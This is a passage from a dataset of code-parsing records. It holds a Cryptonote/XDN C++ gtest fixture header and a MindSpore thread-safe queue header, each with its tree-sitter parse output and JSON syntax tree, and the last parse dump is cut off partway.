LgFrMachdepTest();\n\n#endif\n"}
81,168
c
// Copyright (c) 2011-2015 The Cryptonote developers // Copyright (c) 2014-2015 XDN developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #pragma once #include "../integration_test_lib/BaseFunctionalTest.h" #include "../integration_test_lib/Logger.h" #include "gtest/gtest.h" extern System::Dispatcher globalSystem; extern cryptonote::Currency currency; extern Tests::Common::BaseFunctionalTestConfig config; class TransfersTest : public Tests::Common::BaseFunctionalTest, public ::testing::Test { public: TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) { } };
37.33
18
(translation_unit) "// Copyright (c) 2011-2015 The Cryptonote developers\n// Copyright (c) 2014-2015 XDN developers\n// Distributed under the MIT/X11 software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#pragma once\n\n#include "../integration_test_lib/BaseFunctionalTest.h"\n#include "../integration_test_lib/Logger.h"\n#include "gtest/gtest.h"\n\nextern System::Dispatcher globalSystem;\nextern cryptonote::Currency currency;\nextern Tests::Common::BaseFunctionalTestConfig config;\n\nclass TransfersTest :\n public Tests::Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n};\n\n" (comment) "// Copyright (c) 2011-2015 The Cryptonote developers" (comment) "// Copyright (c) 2014-2015 XDN developers" (comment) "// Distributed under the MIT/X11 software license, see the accompanying" (comment) "// file COPYING or http://www.opensource.org/licenses/mit-license.php." (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "../integration_test_lib/BaseFunctionalTest.h"\n" (#include) "#include" (string_literal) ""../integration_test_lib/BaseFunctionalTest.h"" (") """ (string_content) "../integration_test_lib/BaseFunctionalTest.h" (") """ (preproc_include) "#include "../integration_test_lib/Logger.h"\n" (#include) "#include" (string_literal) ""../integration_test_lib/Logger.h"" (") """ (string_content) "../integration_test_lib/Logger.h" (") """ (preproc_include) "#include "gtest/gtest.h"\n" (#include) "#include" (string_literal) ""gtest/gtest.h"" (") """ (string_content) "gtest/gtest.h" (") """ (declaration) "extern System::Dispatcher globalSystem;" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "System" (ERROR) "::Dispatcher" (:) ":" (:) ":" (identifier) "Dispatcher" (identifier) "globalSystem" (;) ";" (declaration) "extern cryptonote::Currency currency;" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "cryptonote" (ERROR) "::Currency" (:) ":" (:) ":" (identifier) "Currency" (identifier) "currency" (;) ";" (declaration) "extern Tests::Common::BaseFunctionalTestConfig config;" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "Tests" (ERROR) "::Common::BaseFunctionalTestConfig" (:) ":" (:) ":" (identifier) "Common" (:) ":" (:) ":" (identifier) "BaseFunctionalTestConfig" (identifier) "config" (;) ";" (declaration) "class TransfersTest :\n public" (type_identifier) "class" (ERROR) "TransfersTest :" (identifier) "TransfersTest" (:) ":" (identifier) "public" (;) "" (labeled_statement) "Tests::Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}" (statement_identifier) "Tests" (:) ":" (ERROR) ":" (:) ":" (labeled_statement) "Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}" (statement_identifier) "Common" (ERROR) "::BaseFunctionalTest,\n public :" (:) ":" (:) ":" (comma_expression) "BaseFunctionalTest,\n public" (identifier) "BaseFunctionalTest" (,) "," (identifier) "public" (:) ":" (:) ":" (labeled_statement) "testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}" (statement_identifier) "testing" (:) ":" (ERROR) ":Test" (:) ":" (identifier) "Test" (compound_statement) "{\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}" ({) "{" (labeled_statement) "public:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }" (statement_identifier) "public" (:) ":" (ERROR) "TransfersTest() : BaseFunctionalTest(currency, globalSystem, config)" (call_expression) "TransfersTest()" (identifier) "TransfersTest" (argument_list) "()" (() "(" ()) ")" (:) ":" (call_expression) "BaseFunctionalTest(currency, globalSystem, config)" (identifier) "BaseFunctionalTest" (argument_list) "(currency, globalSystem, config)" (() "(" (identifier) "currency" (,) "," (identifier) "globalSystem" (,) "," (identifier) "config" ()) ")" (compound_statement) "{\n }" ({) "{" (}) "}" (}) "}" (expression_statement) ";" (;) ";"
116
8
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 37.33, "nodes": 59, "errors": 0, "source_hash": "88314bc3e202970c1ac3b35a5e16dfb19e7b914057ca5110bea8a8e78063db94", "categorized_nodes": 41}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"../integration_test_lib/BaseFunctionalTest.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"../integration_test_lib/BaseFunctionalTest.h\"", "parent": 3, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 55}}, {"id": 6, "type": "preproc_include", "text": "#include \"../integration_test_lib/Logger.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"../integration_test_lib/Logger.h\"", "parent": 6, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 43}}, {"id": 9, "type": "preproc_include", "text": "#include \"gtest/gtest.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"gtest/gtest.h\"", "parent": 9, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 24}}, {"id": 12, "type": "declaration", "text": "extern System::Dispatcher globalSystem;", "parent": null, "children": [13, 15, 16, 18], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 39}}, {"id": 13, "type": "storage_class_specifier", "text": "extern", "parent": 12, "children": [14], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 14, "type": "extern", "text": "extern", "parent": 13, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 15, "type": "type_identifier", "text": "System", "parent": 12, "children": [], "start_point": {"row": 11, "column": 7}, "end_point": {"row": 11, "column": 13}}, {"id": 16, "type": "ERROR", "text": "::Dispatcher", "parent": 12, "children": [17], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 25}}, {"id": 17, "type": "identifier", "text": "Dispatcher", "parent": 16, "children": [], "start_point": {"row": 11, "column": 15}, "end_point": {"row": 11, "column": 25}}, {"id": 18, "type": "identifier", "text": "globalSystem", "parent": 12, "children": [], "start_point": {"row": 11, "column": 26}, "end_point": {"row": 11, "column": 38}}, {"id": 19, "type": "declaration", "text": "extern cryptonote::Currency currency;", "parent": null, "children": [20, 22, 23, 25], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 37}}, {"id": 20, "type": "storage_class_specifier", "text": "extern", "parent": 19, "children": [21], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 21, "type": "extern", "text": "extern", "parent": 20, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 22, "type": "type_identifier", "text": "cryptonote", "parent": 19, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 17}}, {"id": 23, "type": "ERROR", "text": "::Currency", "parent": 19, "children": [24], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 27}}, {"id": 24, "type": "identifier", "text": "Currency", "parent": 23, "children": [], "start_point": {"row": 12, "column": 19}, "end_point": {"row": 12, "column": 27}}, {"id": 25, "type": "identifier", "text": "currency", "parent": 19, "children": [], "start_point": {"row": 12, "column": 28}, "end_point": {"row": 12, "column": 36}}, {"id": 26, "type": "declaration", "text": "extern Tests::Common::BaseFunctionalTestConfig config;", "parent": null, "children": [27, 29, 30, 33], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 54}}, {"id": 27, "type": "storage_class_specifier", "text": "extern", "parent": 26, "children": [28], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 6}}, {"id": 28, "type": "extern", "text": "extern", "parent": 27, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 6}}, {"id": 29, "type": "type_identifier", "text": "Tests", "parent": 26, "children": [], "start_point": {"row": 13, "column": 7}, "end_point": {"row": 13, "column": 12}}, {"id": 30, "type": "ERROR", "text": "::Common::BaseFunctionalTestConfig", "parent": 26, "children": [31, 32], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 46}}, {"id": 31, "type": "identifier", "text": "Common", "parent": 30, "children": [], "start_point": {"row": 13, "column": 14}, "end_point": {"row": 13, "column": 20}}, {"id": 32, "type": "identifier", "text": "BaseFunctionalTestConfig", "parent": 30, "children": [], "start_point": {"row": 13, "column": 22}, "end_point": {"row": 13, "column": 46}}, {"id": 33, "type": "identifier", "text": "config", "parent": 26, "children": [], "start_point": {"row": 13, "column": 47}, "end_point": {"row": 13, "column": 53}}, {"id": 34, "type": "declaration", "text": "class TransfersTest :\n public", "parent": null, "children": [35], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 8}}, {"id": 35, "type": "ERROR", "text": "TransfersTest :", "parent": 34, "children": [36], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 21}}, {"id": 36, "type": "identifier", "text": "TransfersTest", "parent": 35, "children": [], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 19}}, {"id": 37, "type": "labeled_statement", "text": "Tests::Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}", "parent": null, "children": [38, 39], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 22, "column": 1}}, {"id": 38, "type": "statement_identifier", "text": "Tests", "parent": 37, "children": [], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 14}}, {"id": 39, "type": "labeled_statement", "text": "Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}", "parent": 37, "children": [40, 41, 44], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 22, "column": 1}}, {"id": 40, "type": "statement_identifier", "text": "Common", "parent": 39, "children": [], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 16, "column": 22}}, {"id": 41, "type": "ERROR", "text": "::BaseFunctionalTest,\n public :", "parent": 39, "children": [42], "start_point": {"row": 16, "column": 22}, "end_point": {"row": 17, "column": 10}}, {"id": 42, "type": "comma_expression", "text": "BaseFunctionalTest,\n public", "parent": 41, "children": [43], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 17, "column": 8}}, {"id": 43, "type": "identifier", "text": "BaseFunctionalTest", "parent": 42, "children": [], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 42}}, {"id": 44, "type": "labeled_statement", "text": "testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n}", "parent": 39, "children": [45, 46], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 22, "column": 1}}, {"id": 45, "type": "statement_identifier", "text": "testing", "parent": 44, "children": [], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 18}}, {"id": 46, "type": "ERROR", "text": ":Test", "parent": 44, "children": [47], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 24}}, {"id": 47, "type": "identifier", "text": "Test", "parent": 46, "children": [], "start_point": {"row": 17, "column": 20}, "end_point": {"row": 17, "column": 24}}, {"id": 48, "type": "labeled_statement", "text": "public:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }", "parent": 44, "children": [49], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 21, "column": 3}}, {"id": 49, "type": "ERROR", "text": "TransfersTest() : BaseFunctionalTest(currency, globalSystem, config)", "parent": 48, "children": [50, 53], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 70}}, {"id": 50, "type": "call_expression", "text": "TransfersTest()", "parent": 49, "children": [51, 52], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 17}}, {"id": 51, "type": "identifier", "text": "TransfersTest", "parent": 50, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 15}}, {"id": 52, "type": "argument_list", "text": "()", "parent": 50, "children": [], "start_point": {"row": 20, "column": 15}, "end_point": {"row": 20, "column": 17}}, {"id": 53, "type": "call_expression", "text": "BaseFunctionalTest(currency, globalSystem, config)", "parent": 49, "children": [54, 55], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 20, "column": 70}}, {"id": 54, "type": "identifier", "text": "BaseFunctionalTest", "parent": 53, "children": [], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 20, "column": 38}}, {"id": 55, "type": "argument_list", "text": "(currency, globalSystem, config)", "parent": 53, "children": [56, 57, 58], "start_point": {"row": 20, "column": 38}, "end_point": {"row": 20, "column": 70}}, {"id": 56, "type": "identifier", "text": "currency", "parent": 55, "children": [], "start_point": {"row": 20, "column": 39}, "end_point": {"row": 20, "column": 47}}, {"id": 57, "type": "identifier", "text": "globalSystem", "parent": 55, "children": [], "start_point": {"row": 20, "column": 49}, "end_point": {"row": 20, "column": 61}}, {"id": 58, "type": "identifier", "text": "config", "parent": 55, "children": [], "start_point": {"row": 20, "column": 63}, "end_point": {"row": 20, "column": 69}}]}, "node_categories": {"declarations": {"functions": [], "variables": [12, 19, 26, 34], "classes": [13, 20, 27], "imports": [3, 4, 6, 7, 9, 10], "modules": [], "enums": []}, "statements": {"expressions": [42, 50, 53], "assignments": [], "loops": [], "conditionals": [15, 17, 18, 22, 24, 25, 29, 31, 32, 33, 36, 38, 40, 43, 45, 47, 51, 54, 56, 57, 58], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 11], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [{"node_id": 13, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 20, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 27, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}], "import_statements": [{"node_id": 3, "text": "#include \"../integration_test_lib/BaseFunctionalTest.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"../integration_test_lib/Logger.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"gtest/gtest.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "// Copyright (c) 2011-2015 The Cryptonote developers\n// Copyright (c) 2014-2015 XDN developers\n// Distributed under the MIT/X11 software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#pragma once\n\n#include \"../integration_test_lib/BaseFunctionalTest.h\"\n#include \"../integration_test_lib/Logger.h\"\n#include \"gtest/gtest.h\"\n\nextern System::Dispatcher globalSystem;\nextern cryptonote::Currency currency;\nextern Tests::Common::BaseFunctionalTestConfig config;\n\nclass TransfersTest :\n public Tests::Common::BaseFunctionalTest,\n public ::testing::Test {\n\npublic:\n TransfersTest() : BaseFunctionalTest(currency, globalSystem, config) {\n }\n};\n\n"}
81,169
c
/** * Copyright 2019 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_ #define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_ #include <atomic> #include <memory> #include <mutex> #include <string> #include <type_traits> #include <utility> #include <vector> #include "./securec.h" #include "utils/ms_utils.h" #include "minddata/dataset/util/allocator.h" #include "minddata/dataset/util/log_adapter.h" #include "minddata/dataset/util/services.h" #include "minddata/dataset/util/cond_var.h" #include "minddata/dataset/util/task_manager.h" namespace mindspore { namespace dataset { // A simple thread safe queue using a fixed size array template <typename T> class Queue { public: using value_type = T; using pointer = T *; using const_pointer = const T *; using reference = T &; using const_reference = const T &; explicit Queue(int sz) : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) { Status rc = arr_.allocate(sz); if (rc.IsError()) { MS_LOG(ERROR) << "Fail to create a queue."; std::terminate(); } else { MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << "."; } } virtual ~Queue() { ResetQue(); } size_t size() const { size_t v = tail_ - head_; return (v >= 0) ? v : 0; } size_t capacity() const { return sz_; } bool empty() const { return head_ == tail_; } void Reset() { std::unique_lock<std::mutex> _lock(mux_); ResetQue(); extra_arr_.clear(); } // Producer Status Add(const_reference ele) noexcept { std::unique_lock<std::mutex> _lock(mux_); // Block when full Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); }); if (rc.IsOk()) { RETURN_IF_NOT_OK(AddWhileHoldingLock(ele)); empty_cv_.NotifyAll(); _lock.unlock(); } else { empty_cv_.Interrupt(); } return rc; } Status Add(T &&ele) noexcept { std::unique_lock<std::mutex> _lock(mux_); // Block when full Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); }); if (rc.IsOk()) { RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele))); empty_cv_.NotifyAll(); _lock.unlock(); } else { empty_cv_.Interrupt(); } return rc; } template <typename... Ts> Status EmplaceBack(Ts &&... args) noexcept { std::unique_lock<std::mutex> _lock(mux_); // Block when full Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); }); if (rc.IsOk()) { auto k = tail_++ % sz_; new (arr_[k]) T(std::forward<Ts>(args)...); empty_cv_.NotifyAll(); _lock.unlock(); } else { empty_cv_.Interrupt(); } return rc; } // Consumer Status PopFront(pointer p) { std::unique_lock<std::mutex> _lock(mux_); // Block when empty Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); }); if (rc.IsOk()) { RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true)); full_cv_.NotifyAll(); _lock.unlock(); } else { full_cv_.Interrupt(); } return rc; } Status Register(TaskGroup *vg) { Status rc1 = empty_cv_.Register(vg->GetIntrpService()); Status rc2 = full_cv_.Register(vg->GetIntrpService()); if (rc1.IsOk()) { return rc2; } else { return rc1; } } Status Resize(int32_t new_capacity) { std::unique_lock<std::mutex> _lock(mux_); CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0, "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0"); RETURN_OK_IF_TRUE(new_capacity == capacity()); std::vector<T> queue; // pop from the original queue until the new_capacity is full for (int32_t i = 0; i < new_capacity; ++i) { if (head_ < tail_) { // if there are elements left in queue, pop out T temp; RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true)); queue.push_back(temp); } else { // if there is nothing left in queue, check extra_arr_ if (!extra_arr_.empty()) { // if extra_arr_ is not empty, push to fill the new_capacity queue.push_back(extra_arr_[0]); extra_arr_.erase(extra_arr_.begin()); } else { // if everything in the queue and extra_arr_ is popped out, break the loop break; } } } // if there are extra elements in queue, put them to extra_arr_ while (head_ < tail_) { T temp; RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false)); extra_arr_.push_back(temp); } this->ResetQue(); RETURN_IF_NOT_OK(arr_.allocate(new_capacity)); sz_ = new_capacity; for (int32_t i = 0; i < queue.size(); ++i) { RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i])); } queue.clear(); _lock.unlock(); return Status::OK(); } private: size_t sz_; MemGuard<T, Allocator<T>> arr_; std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add, // will pop when there is a space in queue (by PopFront or Resize) size_t head_; size_t tail_; std::string my_name_; std::mutex mux_; CondVar empty_cv_; CondVar full_cv_; // Helper function for Add, must be called when holding a lock Status AddWhileHoldingLock(const_reference ele) { auto k = tail_++ % sz_; *(arr_[k]) = ele; return Status::OK(); } // Helper function for Add, must be called when holding a lock Status AddWhileHoldingLock(T &&ele) { auto k = tail_++ % sz_; *(arr_[k]) = std::forward<T>(ele); return Status::OK(); } // Helper function for PopFront, must be called when holding a lock Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) { auto k = head_++ % sz_; *p = std::move(*(arr_[k])); if (!extra_arr_.empty() && clean_extra) { RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0]))); extra_arr_.erase(extra_arr_.begin()); } return Status::OK(); } void ResetQue() noexcept { while (head_ < tail_) { T val; this->PopFrontWhileHoldingLock(&val, false); MS_LOG(DEBUG) << "Address of val: " << &val; } empty_cv_.ResetIntrpState(); full_cv_.ResetIntrpState(); head_ = 0; tail_ = 0; } }; // A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues // to help abstract/simplify code that is maintaining multiple queues. template <typename T> class QueueList { public: QueueList() {} void Init(int num_queues, int capacity) { queue_list_.reserve(num_queues); for (int i = 0; i < num_queues; i++) { queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity)); } } Status Register(TaskGroup *vg) { if (vg == nullptr) { return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__, "Null task group during QueueList registration."); } for (int i = 0; i < queue_list_.size(); ++i) { RETURN_IF_NOT_OK(queue_list_[i]->Register(vg)); } return Status::OK(); } auto size() const { return queue_list_.size(); } std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; } const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; } ~QueueList() = default; Status AddQueue(TaskGroup *vg) { queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity())); return queue_list_[queue_list_.size() - 1]->Register(vg); } Status RemoveLastQueue() { CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues."); queue_list_.pop_back(); return Status::OK(); } private: // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector // requirement that objects must have copy semantics. To resolve this, we use a vector of unique // pointers. This allows us to provide dynamic creation of queues in a container. std::vector<std::unique_ptr<Queue<T>>> queue_list_; }; } // namespace dataset } // namespace mindspore #endif // MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_
33.45
259
(translation_unit) "/**\n * Copyright 2019 Huawei Technologies Co., Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an "AS IS" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n#ifndef MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n\n#include <atomic>\n#include <memory>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include <utility>\n#include <vector>\n\n#include "./securec.h"\n#include "utils/ms_utils.h"\n#include "minddata/dataset/util/allocator.h"\n#include "minddata/dataset/util/log_adapter.h"\n#include "minddata/dataset/util/services.h"\n#include "minddata/dataset/util/cond_var.h"\n#include "minddata/dataset/util/task_manager.h"\n\nnamespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) 